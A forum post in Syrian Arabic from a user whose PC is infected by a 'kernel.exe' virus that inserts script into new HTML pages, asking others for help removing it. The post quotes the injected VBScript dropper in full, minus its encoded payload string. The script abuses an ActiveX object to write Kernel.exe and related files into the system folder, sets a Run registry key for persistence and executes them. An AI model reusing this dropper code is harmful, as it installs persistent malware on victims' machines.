CSC-SY

السلام عليكم

جهازي عم يواجه من فترة فيروس kernel.exe اذا حدا سمعان فيو,
وفي شغلة عم تصير معي كمان , كلما أشتغل عالـ Visual studio.net وانشء صفحة HTML جديدة عم يحطلي كود غريب (يبدو هاد هو كود الفيروس ..)

ورح حطلكم هالكود هون(VBS code) :

<script language=vbscript>
on error resume next
fileexe1="هون بكون موجود عدد كبير من الارقام العشوائية ما رضيت حطها"
dim sys
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "
set fso = df.createobject("Scripting.FileSystemObject","")
set s=df.CreateObject("Shell.Application.1","")
set re=df.createobject("wscript.shell","")
sys=fso.GetSpecialFolder(1)
For a = 1 To Len(filevbs1) Step 3
filevbs2=filevbs2 & chr(mid(filevbs1,a,3))
if a < len(fileexe1)+1 then fileexe2=fileexe2 & chr(mid(fileexe1,a,3))
next
kr = UCase(re.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Windows"))
fso.CreateTextFile(sys & "\TSP32E.DLL").write fileexe1
if ucase(fso.FileExists(sys & "\Kernel.exe"))="FALSE" or kr<>ucase(sys & "\KERNEL.EXE") then
re.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & "Microsoft Windows" ,sys &"\Kernel.exe"
fso.CreateTextFile(sys & "\Kernel.exe").write fileexe2
s.Open (sys & "\Kernel.exe")
end if
fso.CreateTextFile(sys & "\TSP32V.DLL").write filevbs1
if fso.opentextfile(sys & "\Systemv.dll",1).readall<>"on" then
fso.CreateTextFile(sys & "\Kernel.vbs").write filevbs2
s.Open (sys & "\Kernel.vbs")
end if
</script>

!!!!
معقول ما حدا سمعان فيو أو أصاب جهازو !!!

مع أنو جربت طرق كثيرة لازالتو , بس كلها فشلت!!!

يا ريت اذا حدا ممكن يفيدنا شوي...